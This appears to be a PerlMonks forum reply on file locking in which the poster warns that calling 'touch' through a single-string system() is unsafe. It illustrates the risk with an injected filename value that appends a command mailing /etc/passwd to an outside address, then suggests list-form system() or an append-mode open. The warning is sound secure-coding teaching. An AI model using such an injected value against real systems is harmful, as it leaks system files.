However KM pointed out to me that the system call to "touch" is not the best approach if the file does not exist.

I said this simply becuase it isn't a safe way to use system(). If someone passes "/tmp/file; mail me@me.com < /etc/passwd" as $lockfile, there could be trouble. I would either use a safer system like:

system("/bin/touch",$lockfile);

Or, simply an open FH, ">>$lockfile" ... approach.

Cheers,
KM


In reply to RE: RE (2): Simple Locking by KM
in thread Simple Locking by tilly

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post; it's "PerlMonks-approved HTML":